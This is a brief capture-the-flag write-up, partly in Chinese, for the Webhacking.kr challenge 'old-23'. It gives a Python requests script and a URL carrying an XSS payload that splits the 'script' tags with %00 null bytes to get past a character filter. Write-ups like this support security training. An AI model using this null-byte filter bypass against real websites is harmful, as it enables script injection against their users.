Webhacking.kr old-23

Posted on In Views: Word count in article: 187 Reading time ≈ 1 mins.

Challenge

Inject a script despite the character filter.

绕过字符过滤注入 script。

1
https://webhacking.kr/challenge/bonus-3/

Analysis

这里通过插入 %00 改变服务端过滤与挑战判据看到的字符串。题目回执与浏览器实际执行 XSS 是不同的判据。

Solution

完整请求脚本如下。PAYLOAD 已经包含 %00，所以脚本直接拼接 query string，避免 HTTP client 把 %00 再编码为字面量 %2500：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import requests

BASE_URL = "https://webhacking.kr/challenge/bonus-3/index.php"
PAYLOAD = "<s%00c%00r%00i%00p%00t%00>alert(1);</s%00c%00r%00i%00p%00t%00>"

def main() -> None:
    response = requests.get(
        BASE_URL + "?code=" + PAYLOAD,
        timeout=20,
    )
    response.raise_for_status()
    print(response.text)

if __name__ == "__main__":
    main()

等价的请求目标是：

1
https://webhacking.kr/challenge/bonus-3/index.php?code=<s%00c%00r%00i%00p%00t%00>alert(1);</s%00c%00r%00i%00p%00t%00>